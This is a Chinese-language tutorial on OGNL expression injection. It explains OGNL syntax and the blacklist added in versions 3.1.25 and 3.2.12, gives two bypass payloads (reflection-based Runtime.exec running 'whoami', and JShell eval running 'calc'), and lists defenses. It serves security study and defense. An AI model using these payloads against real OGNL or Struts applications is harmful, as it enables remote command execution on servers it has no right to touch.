OGNL表达式注入高版本绕过分析
字数 1557 2025-08-30 06:50:12

OGNL表达式注入高版本绕过分析

OGNL基础

OGNL(Object-Graph Navigation Language)即对象图导航语言,是一种表达式语言,能够通过简短表达式访问、修改对象属性,调用方法甚至创建新对象。

OGNL三要素

  1. 表达式(expression):核心部分,定义要执行的操作
  2. 根对象(root):操作的目标对象
  3. 上下文对象(context):对象运行的上下文环境,以MAP结构描述对象属性及值

OGNL语法

  1. "."操作符

    • 调用对象的属性和方法
    • 上一个节点的结果作为下一个节点的上下文
    • 示例:student.school.master.name
  2. "#"操作符

    • 调用非root对象
    • 创建Map:#{"name": "Mash1r0"}
    • 定义变量:#a=new java.lang.String[]{"calc"}
  3. "@"操作符

    • 调用静态对象、静态方法、静态变量
    • 示例:@java.lang.Runtime@getRuntime().exec("calc")
  4. "$"操作符

    • 引用OGNL上下文对象中的值
    • 常用于配置文件:<param name="name">${name}</param>
  5. "%"操作符

    • 计算OGNL表达式的值
    • 示例:%{hacker.name}, %{1+1}
  6. List创建

    • 直接使用{"green", "red", "blue"}创建
  7. 对象创建

    • 示例:new java.lang.String[]{"calc"}

投影与选择

OGNL支持类似数据库的选择与投影功能:

  1. 投影

    • 语法:collection.{XXX}
    • 示例:students.{name} - 提取所有学生的name属性
  2. 选择

    • 语法:collection.{Y XXX}
    • 操作符:
      • ?:选择满足条件的所有元素
      • ^:选择满足条件的第一个元素
      • $:选择满足条件的最后一个元素
    • 示例:students.{? #this.age > 18} - 选择年龄大于18的学生

OGNL高版本限制

在OGNL >=3.1.25、>=3.2.12版本中增加了黑名单机制,主要限制:

  1. 精准匹配方法对象.equals(method)
  2. 类继承/实现关系检查.isAssignableFrom(methodDeclaringClass)

黑名单分类

  1. 第一类限制

    • setAccessible(boolean) - 禁止开启私有访问
    • setAccessible([...]) - 禁止批量开启私有访问
    • System.exit(int) - 禁止终止进程
    • System.console() - 禁止获取console引用
  2. 第二类限制

    • 检查调用的类是否为黑名单中的类或其子类/实现类
    • 包括Runtime等危险类

绕过技术

反射绕过

利用反射调用Runtime执行系统命令:

@java.lang.Class@forName('java.lang.Runtime').getDeclaredMethods()[1].invoke(
    @java.lang.Class@forName('java.lang.Runtime').getDeclaredMethods()[0].invoke(null),
    new String[]{"/bin/bash","-c","whoami"}
)

绕过流程:

  1. 通过Class.forName获取Runtime类
  2. 使用getDeclaredMethods获取方法
  3. 通过反射调用getRuntime()exec()

JShell绕过(Java 9+)

利用Java 9引入的JShell功能执行代码:

@jdk.jshell.JShell@create().eval('java.lang.Runtime.getRuntime().exec("calc")')

特点:

  • 不需要编写完整类
  • 直接执行Java代码片段
  • 类似Python/REPL交互式环境

防御措施

  1. 升级OGNL版本:使用最新版本,确保安全机制生效
  2. 输入验证:严格验证用户输入的OGNL表达式
  3. 沙箱环境:在受限环境中执行OGNL表达式
  4. 白名单机制:限制可调用的类和方法

参考链接

  1. Java表达式注入之OGNL
  2. OGNL参考文章
  3. Struct2 OGNL表达式注入
  4. JShell使用指南
OGNL表达式注入高版本绕过分析 OGNL基础 OGNL(Object-Graph Navigation Language)即对象图导航语言,是一种表达式语言,能够通过简短表达式访问、修改对象属性,调用方法甚至创建新对象。 OGNL三要素 表达式(expression) :核心部分,定义要执行的操作 根对象(root) :操作的目标对象 上下文对象(context) :对象运行的上下文环境,以MAP结构描述对象属性及值 OGNL语法 "."操作符 : 调用对象的属性和方法 上一个节点的结果作为下一个节点的上下文 示例: student.school.master.name "#"操作符 : 调用非root对象 创建Map: #{"name": "Mash1r0"} 定义变量: #a=new java.lang.String[]{"calc"} "@"操作符 : 调用静态对象、静态方法、静态变量 示例: @java.lang.Runtime@getRuntime().exec("calc") "$"操作符 : 引用OGNL上下文对象中的值 常用于配置文件: <param name="name">${name}</param> "%"操作符 : 计算OGNL表达式的值 示例: %{hacker.name} , %{1+1} List创建 : 直接使用 {"green", "red", "blue"} 创建 对象创建 : 示例: new java.lang.String[]{"calc"} 投影与选择 OGNL支持类似数据库的选择与投影功能: 投影 : 语法: collection.{XXX} 示例: students.{name} - 提取所有学生的name属性 选择 : 语法: collection.{Y XXX} 操作符: ? :选择满足条件的所有元素 ^ :选择满足条件的第一个元素 $ :选择满足条件的最后一个元素 示例: students.{? #this.age > 18} - 选择年龄大于18的学生 OGNL高版本限制 在OGNL >=3.1.25、>=3.2.12版本中增加了黑名单机制,主要限制: 精准匹配方法对象 : .equals(method) 类继承/实现关系检查 : .isAssignableFrom(methodDeclaringClass) 黑名单分类 第一类限制 : setAccessible(boolean) - 禁止开启私有访问 setAccessible([...]) - 禁止批量开启私有访问 System.exit(int) - 禁止终止进程 System.console() - 禁止获取console引用 第二类限制 : 检查调用的类是否为黑名单中的类或其子类/实现类 包括 Runtime 等危险类 绕过技术 反射绕过 利用反射调用Runtime执行系统命令: 绕过流程: 通过 Class.forName 获取Runtime类 使用 getDeclaredMethods 获取方法 通过反射调用 getRuntime() 和 exec() JShell绕过(Java 9+) 利用Java 9引入的JShell功能执行代码: 特点: 不需要编写完整类 直接执行Java代码片段 类似Python/REPL交互式环境 防御措施 升级OGNL版本 :使用最新版本,确保安全机制生效 输入验证 :严格验证用户输入的OGNL表达式 沙箱环境 :在受限环境中执行OGNL表达式 白名单机制 :限制可调用的类和方法 参考链接 Java表达式注入之OGNL OGNL参考文章 Struct2 OGNL表达式注入 JShell使用指南